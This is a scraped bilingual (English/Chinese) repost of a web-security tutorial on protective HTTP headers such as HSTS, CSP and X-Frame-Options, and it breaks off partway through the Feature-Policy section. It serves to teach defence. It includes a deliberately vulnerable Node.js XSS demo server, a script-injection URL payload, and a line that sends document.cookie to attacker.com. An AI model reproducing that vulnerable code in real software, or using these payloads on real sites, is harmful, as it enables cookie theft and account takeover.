當(dāng)前位置：首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

使用这些HTTP标头保护您的Web应用程序

發(fā)布時(shí)間：2023/11/29 编程问答 40 豆豆

生活随笔收集整理的這篇文章主要介紹了使用这些HTTP标头保护您的Web应用程序小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

by Alex Nadalin

通過(guò)亞歷克斯·納達(dá)林

使用這些HTTP標(biāo)頭保護(hù)您的Web應(yīng)用程序 (Secure your web application with these HTTP headers)

This is part 3 of a series on web security: part 2 was “Web Security: an introduction to HTTP”

這是有關(guān)Web安全的系列文章的第3部分：第2部分是“ Web安全：HTTP簡(jiǎn)介 ”

As we’ve seen in the previous parts of this series, servers can send HTTP headers to provide the client additional metadata around the response, besides sending the content that the client requested. Clients are then allowed to specify how a particular resource should be read, cached or secured.

正如我們?cè)诒鞠盗星懊娴牟糠种幸呀?jīng)看到的，服務(wù)器除了發(fā)送客戶(hù)端請(qǐng)求的內(nèi)容外，還可以發(fā)送HTTP標(biāo)頭為客戶(hù)端提供圍繞響應(yīng)的其他元數(shù)據(jù)。然后允許客戶(hù)端指定應(yīng)如何讀取，緩存或保護(hù)特定資源。

There’s currently a very large spectrum of security-related headers that have been implemented by browsers in order to make it harder for attackers to take advantage of vulnerabilities. The next paragraphs try to summarize each and every one of them by explaining how they’re used, what kind of attacks they prevent, and a bit of history behind each header.

當(dāng)前，瀏覽器已經(jīng)實(shí)現(xiàn)了大量與安全相關(guān)的標(biāo)頭，以使攻擊者更難利用漏洞。下一段試圖通過(guò)解釋它們的使用方式，它們阻止的攻擊類(lèi)型以及每個(gè)標(biāo)頭背后的一些歷史來(lái)總結(jié)它們中的每一個(gè)。

HTTP嚴(yán)格傳輸安全性(HSTS) (HTTP Strict Transport Security (HSTS))

Since late 2012, HTTPS-everywhere believers have found it easier to force a client to always use the secure version of the HTTP protocol, thanks to HTTP Strict Transport Security: a very simple Strict-Transport-Security: max-age=3600 will tell the browser that for the next hour (3600 seconds) it should not interact with the application with insecure protocols.

自2012年底以來(lái)，HTTPS遍布各地的信徒發(fā)現(xiàn)，由于HTTP嚴(yán)格傳輸安全性，強(qiáng)制客戶(hù)端始終使用HTTP協(xié)議的安全版本更加容易：一個(gè)非常簡(jiǎn)單的Strict-Transport-Security: max-age=3600在接下來(lái)的一個(gè)小時(shí)(3600秒)內(nèi)，瀏覽器不應(yīng)與使用不安全協(xié)議的應(yīng)用程序進(jìn)行交互。

When a user tries to access an application secured by HSTS through HTTP, the browser will simply refuse to go ahead, automatically converting http:// URLs to https://.

當(dāng)用戶(hù)嘗試通過(guò)HTTP訪問(wèn)由HSTS保護(hù)的應(yīng)用程序時(shí)，瀏覽器將拒絕繼續(xù)操作，將http:// URL自動(dòng)轉(zhuǎn)換為https:// 。

You can test this locally with the code at github.com/odino/wasec/tree/master/hsts. You will need to follow the instructions in the README (they involve installing a trusted SSL certificate for localhost on your machine, through the amazing mkcert tool) and then try opening https://localhost:7889.

您可以使用github.com/odino/wasec/tree/master/hsts中的代碼在本地進(jìn)行測(cè)試。您將需要按照自述文件中的說(shuō)明進(jìn)行操作(這涉及通過(guò)令人驚嘆的mkcert工具在計(jì)算機(jī)上為localhost安裝受信任的SSL證書(shū))，然后嘗試打開(kāi)https://localhost:7889 。

There are 2 servers in this example, an HTTPS one listening on 7889, and an HTTP one on port 7888. When you access the HTTPS server, it will always try to redirect you to the HTTP version, which will work since there is no HSTS policy on the HTTPS server. If you instead add the hsts=on parameter in your URL, the browser will forcefully convert the link in the redirect to its https:// version. Since the server at 7888 is http-only, you will end up staring at a page that looks more or less like this. ?

在此示例中，有2臺(tái)服務(wù)器，其中HTTPS偵聽(tīng)7889 ，HTTP 1偵聽(tīng)端口7888 。當(dāng)您訪問(wèn)HTTPS服務(wù)器時(shí)，它將始終嘗試將您重定向到HTTP版本，因?yàn)镠TTPS服務(wù)器上沒(méi)有HSTS策略，所以該版本將起作用。如果改為在URL中添加hsts=on參數(shù)，則瀏覽器將強(qiáng)制將重定向中的鏈接轉(zhuǎn)換為其https://版本。由于位于7888的服務(wù)器僅支持http，因此您最終將盯著看起來(lái)或多或少像這樣的頁(yè)面。？

You might be wondering what happens the first time a user visits your website, as there is no HSTS policy defined beforehand: attackers could potentially trick the user to the http:// version of your website and perpetrate their attack there, so there’s still room for problems. That’s a valid concern, as HSTS is a trust on first use mechanism. What it tries to do is to make sure that, once you’ve visited a website, the browser knows that subsequent interaction must use HTTPS.

您可能想知道用戶(hù)首次訪問(wèn)您的網(wǎng)站時(shí)會(huì)發(fā)生什么，因?yàn)槭孪葲](méi)有定義HSTS策略：攻擊者可能會(huì)誘騙用戶(hù)使用您網(wǎng)站的http://版本并在網(wǎng)站上進(jìn)行攻擊，因此仍有空間解決問(wèn)題。這確實(shí)是一個(gè)問(wèn)題，因?yàn)镠STS是對(duì)首次使用機(jī)制的信任。它試圖做的是確保一旦您訪問(wèn)了網(wǎng)站，瀏覽器就會(huì)知道后續(xù)的交互必須使用HTTPS。

A way around this shortcoming would be to maintain a huge database of websites that enforce HSTS, something that Chrome does through hstspreload.org. You must first set your policy, then visit the website and check whether it’s eligible to be added to the database. For example, we can see Facebook made the list.

解決此缺陷的方法是維護(hù)一個(gè)龐大的網(wǎng)站數(shù)據(jù)庫(kù)，以實(shí)施HSTS，Chrome可以通過(guò)hstspreload.org來(lái)實(shí)現(xiàn) 。您必須首先設(shè)置策略，然后訪問(wèn)網(wǎng)站并檢查是否有資格將其添加到數(shù)據(jù)庫(kù)中。例如，我們可以看到Facebook列出了該列表。

By submitting your website to this list, you can tell browsers in advance that your site uses HSTS, so that even the first interaction between clients and your server will be over a secure channel. But this comes at a cost, as you really need to commit to HSTS. If, by any chance, you’d like your website to be removed from the list that’s no easy task for browser vendors:

通過(guò)將您的網(wǎng)站提交到此列表，您可以提前告知瀏覽器您的網(wǎng)站使用HSTS，這樣，即使客戶(hù)端與服務(wù)器之間的首次交互也將通過(guò)安全通道進(jìn)行。但這是有代價(jià)的，因?yàn)槟_實(shí)需要致力于HSTS。如果您希望將您的網(wǎng)站從列表中刪除，這對(duì)于瀏覽器供應(yīng)商而言并非易事：

Be aware that inclusion in the preload list cannot easily be undone.請(qǐng)注意，無(wú)法輕松撤消預(yù)加載列表中的內(nèi)容。 Domains can be removed, but it takes months for a change to reach users with a Chrome update and we cannot make guarantees about other browsers. Don’t request inclusion unless you’re sure that you can support HTTPS for your entire site and all its subdomains for the long term.可以刪除域，但是更改可能需要幾個(gè)月的時(shí)間才能使用戶(hù)使用Chrome更新，因此我們無(wú)法保證其他瀏覽器的安全。除非您確定可以長(zhǎng)期支持整個(gè)站點(diǎn)及其所有子域的HTTPS，否則不要請(qǐng)求包含。

Source: https://hstspreload.org/

資料來(lái)源： https : //hstspreload.org/

This happens because the vendor cannot guarantee that all users will be on the latest version of their browser, with your site removed from the list. Think carefully, and make a decision based on your degree of confidence in HSTS and your ability to support it on the long run.

發(fā)生這種情況是因?yàn)楣?yīng)商無(wú)法保證所有用戶(hù)都將使用其瀏覽器的最新版本，并且您的網(wǎng)站已從列表中刪除。仔細(xì)考慮，然后根據(jù)您對(duì)HSTS的信心程度以及長(zhǎng)期支持它的能力做出決定。

HTTP公鑰固定(HPKP) (HTTP Public Key Pinning (HPKP))

HTTP Public Key Pinning is a mechanism that allows us to advertise to the browser which SSL certificates to expect whenever it connects to our servers. It is a trust on first use header, just like HSTS, meaning that, once the client connects to our server, it will store the certificate’s info for subsequent interactions. If, at any point in time, the client detects that another certificate is being used by the server, it will politely refuse to connect, rendering man in the middle (MITM) attacks very hard to pull off.

HTTP公鑰固定是一種機(jī)制，允許我們?cè)谶B接到服務(wù)器時(shí)向?yàn)g覽器通告期望使用的SSL證書(shū)。就像HSTS一樣，它是對(duì)首次使用標(biāo)頭的信任，這意味著，一旦客戶(hù)端連接到我們的服務(wù)器，它將存儲(chǔ)證書(shū)的信息以用于后續(xù)交互。如果客戶(hù)端在任何時(shí)間點(diǎn)檢測(cè)到服務(wù)器正在使用另一個(gè)證書(shū)，它將禮貌地拒絕連接，從而使中間人 (MITM)攻擊非常難以實(shí)施。

This is how a HPKP policy looks like:

HPKP策略如下所示：

Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect"

The header advertises what certificates the server will use (in this case it’s two of them) using a hash of the certificates, and includes additional information such as the time-to-live of this directive (max-age=3600), and a few other details. Sadly, there’s no point in digging deeper to understand what we can do with public key pinning, as this feature is being deprecated by Chrome - a signal that its adoption is destined to plummet very soon.

標(biāo)頭使用證書(shū)的哈希值宣傳服務(wù)器將使用的證書(shū)(在本例中為兩個(gè))，并包含其他信息，例如此指令的生存時(shí)間( max-age=3600 )和其他一些細(xì)節(jié)。可悲的是，由于Chrome已棄用此功能，因此沒(méi)有必要更深入地了解我們可以使用公鑰固定進(jìn)行的操作 -這表明它的采用注定會(huì)很快下降。

Chrome’s decision is not irrational, but simply a consequence of the risks associated with public key pinning. If you lose your certificate, or simply make a mistake while testing, your website will be inaccessible to users that have visited the website earlier (for the duration of the max-age directive, which is typically weeks or months).

Chrome的決定并非不合理，而僅僅是由于與公鑰固定相關(guān)的風(fēng)險(xiǎn)。如果您丟失了證書(shū)，或者只是在測(cè)試過(guò)程中犯了一個(gè)錯(cuò)誤，那么早前訪問(wèn)該網(wǎng)站的用戶(hù)將無(wú)法訪問(wèn)您的網(wǎng)站(在max-age指令的有效期內(nèi)，通常為數(shù)周或數(shù)月)。

As a result of these potentially catastrophic consequences, adoption of HPKP has been extremely low, and there have been incidents where big-time websites have been unavailable because of a misconfiguration. All considered, Chrome decided users were better off without the protection offered by HPKP - and security researchers aren’t entirely against this decision.

由于這些潛在的災(zāi)難性后果，HPKP的采用率非常低，并且發(fā)生了由于配置錯(cuò)誤而無(wú)法使用大型網(wǎng)站的事件。考慮到所有因素，Chrome決定用戶(hù)在沒(méi)有HPKP提供的保護(hù)的情況下會(huì)更好- 安全研究人員并不完全反對(duì)這一決定。

期望CT (Expect-CT)

While HPKP has been deprecated, a new header stepped in to prevent fraudulent SSL certificates from being served to clients: Expect-CT.

在不推薦使用HPKP的同時(shí)，引入了新的標(biāo)頭以防止將欺詐性SSL證書(shū)提供給客戶(hù)端： Expect-CT 。

The goal of this header is to inform the browser that it should perform additional “background checks” to ensure the certificate is genuine: when a server uses the Expect-CT header, it is fundamentally requesting the client to verify that the certificates being used are present in public Certificate Transparency (CT) logs.

此標(biāo)頭的目的是通知瀏覽器，它應(yīng)該執(zhí)行其他“后臺(tái)檢查”以確保證書(shū)是真實(shí)的：當(dāng)服務(wù)器使用Expect-CT標(biāo)頭時(shí)，它從根本上要求客戶(hù)端驗(yàn)證所使用的證書(shū)是否正確。存在于公共證書(shū)透明度(CT)日志中。

The Certificate Transparency initiative is an effort led by Google in order to provide:

證書(shū)透明度計(jì)劃是Google領(lǐng)導(dǎo)的一項(xiàng)工作，旨在提供：

An open framework for monitoring and auditing SSL certificates in nearly real time.一個(gè)開(kāi)放的框架，用于幾乎實(shí)時(shí)地監(jiān)視和審核SSL證書(shū)。 Specifically, Certificate Transparency makes it possible to detect SSL certificates that have been mistakenly issued by a certificate authority or maliciously acquired from an otherwise unimpeachable certificate authority. It also makes it possible to identify certificate authorities that have gone rogue and are maliciously issuing certificates.具體而言，通過(guò)證書(shū)透明性，可以檢測(cè)由證書(shū)頒發(fā)機(jī)構(gòu)錯(cuò)誤頒發(fā)的SSL證書(shū)或從原本無(wú)法企及的證書(shū)頒發(fā)機(jī)構(gòu)惡意獲取的SSL證書(shū)。它還使識(shí)別出流氓并且惡意頒發(fā)證書(shū)的證書(shū)頒發(fā)機(jī)構(gòu)成為可能。

Source: https://www.certificate-transparency.org/

資料來(lái)源： https : //www.certificate-transparency.org/

The header takes this form:

標(biāo)頭采用以下形式：

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

In this example, the server is asking the browser to:

在此示例中，服務(wù)器要求瀏覽器執(zhí)行以下操作：

enable CT verification for the current app for a period of 1 hour (3600 seconds)
在1小時(shí)(3600秒)內(nèi)為當(dāng)前應(yīng)用啟用CT驗(yàn)證
enforce this policy and prevent access to the app if a violation occurs
enforce此政策并在發(fā)生違規(guī)情況時(shí)阻止對(duì)應(yīng)用程序的訪問(wèn)
send a report to the given URL if a violation occurs
如果發(fā)生違規(guī)，將報(bào)告發(fā)送到給定的URL

The Certificate Transparency initiative’s goal is to detect mis-issued or malicious certificates (and rogue Certificate Authorities) earlier, faster, and more precisely than any other method used before.

證書(shū)透明性計(jì)劃的目標(biāo)是比以前使用的任何其他方法更早，更快，更準(zhǔn)確地檢測(cè)出錯(cuò)簽或惡意證書(shū)(和流氓證書(shū)頒發(fā)機(jī)構(gòu))。

By opting-in using the Expect-CT header, you can take advantage of this initiative to improve your app’s security posture.

通過(guò)使用Expect-CT標(biāo)頭選擇加入，您可以利用此計(jì)劃來(lái)改善應(yīng)用程序的安全性。

X框架選項(xiàng) (X-Frame-Options)

Imagine seeing a web page such as this popping in front of your screen:

想象一下，這樣的網(wǎng)頁(yè)在屏幕前彈出：

As soon as you click on the link, you realize that all the money in your bank account is gone. What happened?

單擊該鏈接，您立即意識(shí)到銀行帳戶(hù)中的所有錢(qián)都已耗盡。發(fā)生了什么？

You were a victim of a clickjacking attack.

您是點(diǎn)擊劫持攻擊的受害者。

An attacker directed you to their website, which displays a very attractive link to click. Unfortunately, he also embedded in the page an iframe from your-bank.com/transfer?amount=-1&[attacker@gmail.com] but hid it by setting it’s opacity to 0%. What then happened is that thought of clicking on the original page, trying to win a brand-new hummer, but instead the browser captured a click on the iframe, a dangerous click that confirmed the transfer of money.

攻擊者將您引導(dǎo)到他們的網(wǎng)站，該網(wǎng)站顯示一個(gè)非常誘人的點(diǎn)擊鏈接。不幸的是，他還在your-bank.com/transfer?amount=-1& [attacker@gmail.com]嵌入了iframe，但通過(guò)將其不透明度設(shè)置為0％來(lái)隱藏了它。然后發(fā)生的事情是想到單擊原始頁(yè)面，試圖贏得全新的嗡嗡聲，但是瀏覽器卻捕獲了對(duì)iframe的點(diǎn)擊，這是危險(xiǎn)的點(diǎn)擊，確認(rèn)了資金的轉(zhuǎn)移。

Most banking systems require you to specify a one-time PIN code to confirm transactions, but your bank didn’t catch up with times and all of your money is gone.

大多數(shù)銀行系統(tǒng)要求您指定一次PIN碼以確認(rèn)交易，但是您的銀行沒(méi)有趕上時(shí)間，您的所有錢(qián)都花光了。

The example is pretty extreme but should let you understand what could be the consequences of a clickjacking attack. The user intends to click on a particular link, while the browser will trigger a click on the “invisible” page that’s been embedded as an iframe.

這個(gè)例子非常極端，但是應(yīng)該讓您理解點(diǎn)擊劫持攻擊的后果。用戶(hù)打算單擊特定的鏈接，而瀏覽器將觸發(fā)對(duì)嵌入為iframe的“不可見(jiàn)”頁(yè)面的單擊。

I have included an example of this vulnerability at github.com/odino/wasec/tree/master/clickjacking. If you run the example and try clicking on the “appealing” link, you will see the actual click is intercepted by the iframe, which increases its opacity so that’s easier for you to spot the problem. The example should be accessible at http://localhost:7888.

我在github.com/odino/wasec/tree/master/clickjacking中包含了此漏洞的示例。如果運(yùn)行示例并嘗試單擊“吸引人”鏈接，則將看到iframe攔截了實(shí)際的點(diǎn)擊，這增加了iframe的不透明度，使您更容易發(fā)現(xiàn)問(wèn)題。該示例應(yīng)該可以從http://localhost:7888 。

Luckily, browsers have come up with a simple solution to the problem: X-Frame-Options (XFO) which lets you decide whether your app can be embedded as an iframe on external websites. Popularized by Internet Explorer 8, XFO was first introduced in 2009 and is still supported by all major browsers.

幸運(yùn)的是，瀏覽器提出了一個(gè)解決該問(wèn)題的簡(jiǎn)單方法： X-Frame-Options (XFO)，使您可以決定是否可以將應(yīng)用程序作為iframe嵌入到外部網(wǎng)站上。 XFO在Internet Explorer 8的普及下于2009年首次推出，目前仍受所有主要瀏覽器的支持。

The way it works is, when a browser sees an iframe, it loads it and verifies that its XFO allows its inclusion in the current page before rendering it.

它的工作方式是，當(dāng)瀏覽器看到一個(gè)iframe時(shí)，它將加載它并驗(yàn)證其XFO是否允許在呈現(xiàn)前將其包含在當(dāng)前頁(yè)面中。

The supported values are:

支持的值為：

DENY: this web page cannot be embedded anywhere. This is the highest level of protection as it doesn’t allow anyone to embed our content.
DENY ：該網(wǎng)頁(yè)無(wú)法嵌入任何地方。這是最高的保護(hù)級(jí)別，因?yàn)樗辉试S任何人嵌入我們的內(nèi)容。
SAMEORIGIN: only pages from the same domain as the current one can embed this page. This means that example.com/embedder can load example.com/embedded so long as its policy is set to SAMEORIGIN. This is a more relaxed policy that allows owners of a particular website to embed their own pages across their application.
SAMEORIGIN ：只有與當(dāng)前域相同的域中的頁(yè)面才能嵌入此頁(yè)面。這意味著example.com/embedder可以加載example.com/embedded ，只要其策略設(shè)置為SAMEORIGIN 。這是一種更為寬松的策略，允許特定網(wǎng)站的所有者在其應(yīng)用程序中嵌入自己的頁(yè)面。
ALLOW-FROM uri: embedding is allowed from the specified URI. We could, for example, let an external, authorized website embed our content by using ALLOW-FROM https://external.com. This is generally used when you intend to allow a 3rd party to embed your content through an iframe
ALLOW-FROM uri ：允許從指定的URI嵌入。例如，我們可以使用ALLOW-FROM https://external.com外部授權(quán)的網(wǎng)站嵌入我們的內(nèi)容。通常在您打算允許第三方通過(guò)iframe嵌入內(nèi)容時(shí)使用

An example HTTP response that includes the strictest XFO policy possible looks like:

包含最嚴(yán)格的XFO策略的HTTP響應(yīng)示例如下所示：

HTTP/1.1 200 OKContent-Type: application/jsonX-Frame-Options: DENY...

In order to showcase how browsers behave when XFO is enabled, we can simply change the URL of our example to http://localhost:7888/?xfo=on. The xfo=on parameter tells the server to include X-Frame-Options: deny in the response, and we can see how the browser restricts access to the iframe:

為了展示啟用XFO時(shí)瀏覽器的行為，我們可以簡(jiǎn)單地將示例的URL更改為http://localhost:7888/?xfo=on 。 xfo=on參數(shù)告訴服務(wù)器在響應(yīng)中包含X-Frame-Options: deny ，我們可以看到瀏覽器如何限制對(duì)iframe的訪問(wèn)：

XFO was considered the best way to prevent frame-based clickjacking attacks until another header came into play years later, Content Security Policy or CSP for short.

XFO被認(rèn)為是防止基于幀的點(diǎn)擊劫持攻擊的最佳方法，直到幾年后又出現(xiàn)了另一個(gè)標(biāo)題(簡(jiǎn)稱(chēng)“內(nèi)容安全策略”或CSP)。

內(nèi)容安全政策(CSP) (Content Security Policy (CSP))

The Content-Security-Policy header, often abbreviated to CSP, provides a next-generation utility belt for preventing a plethora of attacks, ranging from XSS (Cross-site Scripting) to clickjacking.

Content-Security-Policy標(biāo)頭(通常縮寫(xiě)為CSP)提供了下一代實(shí)用程序帶，用于防止從XSS(跨站點(diǎn)腳本)到點(diǎn)擊劫持的過(guò)多攻擊。

To understand how CSP helps us, we should first think of an attack vector. Let’s say we just built our own Google Search, a simple input text with a submit button.

要了解CSP如何幫助我們，我們首先應(yīng)該考慮一種攻擊媒介。假設(shè)我們剛剛構(gòu)建了自己的Google搜索，即帶有提交按鈕的簡(jiǎn)單輸入文本。

This web application does nothing magical. It just,

該Web應(yīng)用程序沒(méi)有神奇的功能。它只是，

displays a form
顯示表格
lets the user execute a search
讓用戶(hù)執(zhí)行搜索
displays the search results alongside with the keyword the user searched for
顯示搜索結(jié)果以及用戶(hù)搜索的關(guān)鍵字

When we execute a simple search, this is what the application returns:

當(dāng)我們執(zhí)行簡(jiǎn)單搜索時(shí)，應(yīng)用程序?qū)⒎祷匾韵聝?nèi)容：

Amazing! Our application incredibly understood our search and found a related image. If we dig deeper in the source code, available at github.com/odino/wasec/tree/master/xss, we will soon realize that the application presents a security issue, as whatever keyword the user searches for is directly printed in the HTML response served to the client:

驚人！我們的應(yīng)用程序非常了解我們的搜索并找到了相關(guān)圖像。如果我們?cè)趃ithub.com/odino/wasec/tree/master/xss上找到源代碼，我們將很快意識(shí)到該應(yīng)用程序存在安全問(wèn)題，因?yàn)橛脩?hù)搜索的任何關(guān)鍵字都直接在HTML中打印。回應(yīng)送達(dá)客戶(hù)：

var qs = require('querystring')var url = require('url')var fs = require('fs')require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...`res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))}).listen(7888)<html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body></html>

This presents a nasty consequence. An attacker can craft a specific link that executes arbitrary JavaScript within the victims browser.

這帶來(lái)了令人討厭的后果。攻擊者可以制作特定鏈接，該鏈接可以在受害者瀏覽器中執(zhí)行任意JavaScript。

If you have the time and patience to run the example locally, you will be able to quickly understand the power of CSP. I’ve added a query string parameter that turns CSP on, so we can try navigating to a malicious URL with CSP turned on:

如果您有時(shí)間和耐心在本地運(yùn)行該示例，則可以快速了解CSP的功能。我添加了一個(gè)查詢(xún)字符串參數(shù)來(lái)打開(kāi)CSP，因此我們可以嘗試在打開(kāi)CSP的情況下導(dǎo)航到惡意URL：

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

As you see in the example above, we have told the browser that our CSP policy only allows scripts included from the same origin of the current URL, which we can easily verify by curling the URL and viewing the response header:

如您在上面的示例中看到的，我們已經(jīng)告訴瀏覽器，我們的CSP策略?xún)H允許包含來(lái)自當(dāng)前URL相同起源的腳本，我們可以通過(guò)卷曲URL并查看響應(yīng)標(biāo)頭來(lái)輕松地進(jìn)行驗(yàn)證：

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"HTTP/1.1 200 OKX-XSS-Protection: 0Content-Security-Policy: default-src 'self'Date: Sat, 11 Aug 2018 10:46:27 GMTConnection: keep-alive

Since the XSS attack was perpetrated through an inline script (a script directly embedded in the HTML content), the browser politely refused to execute it, keeping our user safe. Imagine if, instead of simply displaying an alert dialog, the attacker would have set up a redirect to its own domain, through some JavaScript code that could look like:

由于XSS攻擊是通過(guò)內(nèi)聯(lián)腳本 (直接嵌入HTML內(nèi)容中的腳本)實(shí)施的，因此瀏覽器會(huì)禮貌地拒絕執(zhí)行該腳本，從而確保用戶(hù)安全。想象一下，如果攻擊者不是通過(guò)簡(jiǎn)單地顯示警報(bào)對(duì)話框，而是會(huì)通過(guò)一些類(lèi)似于以下代碼JavaScript代碼來(lái)設(shè)置重定向到其自己的域的：

window.location = `attacker.com/${document.cookie}`

They would have been able to steal all of the user’s cookies, which might contain highly sensitive data (more on this in the next article).

他們將能夠竊取用戶(hù)的所有cookie，其中可能包含高度敏感的數(shù)據(jù)(在下一篇文章中將對(duì)此進(jìn)行更多介紹)。

By now, it should be clear how CSP helps us prevent a range of attacks on web applications. You define a policy and the browser will strictly adhere to it, refusing to run resources that would violate the policy.

到目前為止，應(yīng)該很清楚CSP如何幫助我們防止對(duì)Web應(yīng)用程序的一系列攻擊。您定義了策略，瀏覽器將嚴(yán)格遵守該策略，拒絕運(yùn)行會(huì)違反該策略的資源。

An interesting variation of CSP is the report-only mode. Instead of using the Content-Security-Policy header, you can first test the impact of CSP on your website by telling the browser to simply report errors, without blocking script execution and so on, by using the Content-Security-Policy-Report-Only header.

CSP的一個(gè)有趣變化是僅報(bào)告模式。除了使用Content-Security-Policy標(biāo)頭之外，您還可以通過(guò)使用Content-Security-Policy-Report-Only告訴瀏覽器僅報(bào)告錯(cuò)誤而不阻止腳本執(zhí)行等來(lái)測(cè)試CSP對(duì)網(wǎng)站的影響。 Content-Security-Policy-Report-Only標(biāo)頭。

Reporting will allow you to understand what breaking changes the CSP policy you’d like to roll out might cause, and fix them accordingly. We can even specify a report URL and the browser will send us a report. Here’s a full example of a report-only policy:

通過(guò)報(bào)告，您可以了解要推出的CSP策略可能引起的重大更改，并進(jìn)行相應(yīng)的修復(fù)。我們甚至可以指定報(bào)告URL，瀏覽器將向我們發(fā)送報(bào)告。這是僅報(bào)告政策的完整示例：

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector

CSP policies can be a bit complex on their own, such as in the following example:

CSP策略本身可能有點(diǎn)復(fù)雜，例如以下示例：

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

This policy defines the following rules:

該策略定義以下規(guī)則：

executable scripts (eg. JavaScript) can only be loaded from scripts.example.com
可執(zhí)行腳本(例如JavaScript)只能從scripts.example.com加載
images may be loaded from any origin (img-src: *)
可以從任何來(lái)源加載圖像( img-src: * )
video or audio content can be loaded from two origins: medias.example.com and medias.legacy.example.com
可以從兩個(gè)來(lái)源加載視頻或音頻內(nèi)容： medias.example.com和medias.legacy.example.com

As you can see, policies can become lengthy, and if we want to ensure the highest protection for our users this can become quite a tedious process. Nevertheless, writing a comprehensive CSP policy is an important step towards adding an additional layer of security to our web applications.

如您所見(jiàn)，策略可能會(huì)變得冗長(zhǎng)，并且，如果我們要確保為用戶(hù)提供最高的保護(hù)，這可能會(huì)變得很繁瑣。但是，編寫(xiě)全面的CSP策略是向我們的Web應(yīng)用程序添加附加安全層的重要一步。

For more information around CSP I would recommend a deep dive at developer.mozilla.org/en-US/docs/Web/HTTP/CSP.

有關(guān)CSP的更多信息，我建議您深度訪問(wèn)developer.mozilla.org/en-US/docs/Web/HTTP/CSP 。

X-XSS保護(hù) (X-XSS-Protection)

Although superseded by CSP, the X-XSS-Protection header provides a similar type of protection. This header is used to mitigate XSS attacks in older browsers that don’t fully support CSP. This header is not supported by Firefox.

盡管已被CSP取代，但X-XSS-Protection標(biāo)頭提供了類(lèi)似的保護(hù)類(lèi)型。此標(biāo)頭用于緩解不完全支持CSP的舊版瀏覽器中的XSS攻擊。 Firefox不支持此標(biāo)頭。

Its syntax is very similar to what we’ve just seen:

它的語(yǔ)法與我們剛剛看到的非常相似：

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

Reflected XSS is the most common type of attack, where an unsanitized input gets printed by the server without any validation, and it’s where this header truly shines. If you want to see this yourself, I would recommend to try out the example at github.com/odino/wasec/tree/master/xss as, by appending xss=on to the URL, it shows what a browser does when XSS protection is turned on. If we enter a malicious string in our search box, such as <script>alert('hello')<;/script>, the browser will politely refuse to execute the script, and explain the reasoning behind its decision:

反映的XSS是最常見(jiàn)的攻擊類(lèi)型，其中未經(jīng)處理的輸入會(huì)在未經(jīng)任何驗(yàn)證的情況下由服務(wù)器打印出來(lái)，這正是此標(biāo)頭真正發(fā)揮作用的地方。如果您想自己看看，我建議嘗試在github.com/odino/wasec/tree/master/xss上嘗試該示例，因?yàn)橥ㄟ^(guò)將xss=on附加到URL，它可以顯示XSS保護(hù)時(shí)瀏覽器的工作方式已開(kāi)啟。如果我們?cè)谒阉骺蛑休斎胍粋€(gè)惡意字符串，例如<script>alert('hello')< ; / script>，瀏覽器將禮貌地拒絕執(zhí)行該腳本，并解釋其決定的原因：

The XSS Auditor refused to execute a script in'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'because its source code was found within the request.The server sent an 'X-XSS-Protection' header requesting this behavior.

Even more interesting is Chrome’s default behavior when the webpage does not specify any CSP or XSS policy, a scenario we can test by adding the xss=off parameter to our URL (http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off):

當(dāng)網(wǎng)頁(yè)未指定任何CSP或XSS策略時(shí)，Chrome的默認(rèn)行為更加有趣，我們可以通過(guò)在URL中添加xss=off參數(shù)來(lái)測(cè)試這種情況( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off )：

Amazing, Chrome’s cautious enough that it will prevent the page from rendering, making reflected XSS very difficult to pull off. It’s impressive to see how far browsers have come.

令人驚奇的是，Chrome十分謹(jǐn)慎，以至于它會(huì)阻止頁(yè)面呈現(xiàn)，這使得反射XSS很難實(shí)現(xiàn)。令人印象深刻的是瀏覽器已經(jīng)面世了。

功能政策 (Feature policy)

In July 2018, security researcher Scott Helme published a very interesting blog post detailing a new security header in the making: Feature-Policy.

2018年7月，安全研究員Scott Helme發(fā)表了一篇非常有趣的博客文章，詳細(xì)介紹了正在制定的新安全標(biāo)題： Feature-Policy 。

Currently supported by very few browsers (Chrome and Safari at the time of this writing), this header lets us define whether a specific browser feature is enabled within the current page. With a syntax very similar to CSP, we should have no issue understanding what a feature policy such as the following one means:

當(dāng)前只有很少的瀏覽器(在撰寫(xiě)本文時(shí)是Chrome和Safari)受支持，此標(biāo)頭使我們可以定義是否在當(dāng)前頁(yè)面中啟用了特定的瀏覽器功能。使用非常類(lèi)似于CSP的語(yǔ)法，我們應(yīng)該毫無(wú)疑問(wèn)地了解一種功能策略，例如以下一種含義：

Feature-Policy: vibrate 'self'; push *; camera 'none'

If we still have a few doubts about how this policy impacts the browser APIs available to the page, we can simply dissect it:

如果我們對(duì)該政策如何影響該頁(yè)面可用的瀏覽器API仍有疑問(wèn)，我們可以對(duì)其進(jìn)行剖析：

vibrate 'self': this will allow the current page to use the vibration API and any nested browsing contexts (iframes) on the same origin
vibrate 'self' ：這將允許當(dāng)前頁(yè)面在同一來(lái)源使用振動(dòng)API和任何嵌套的瀏覽上下文(iframe)
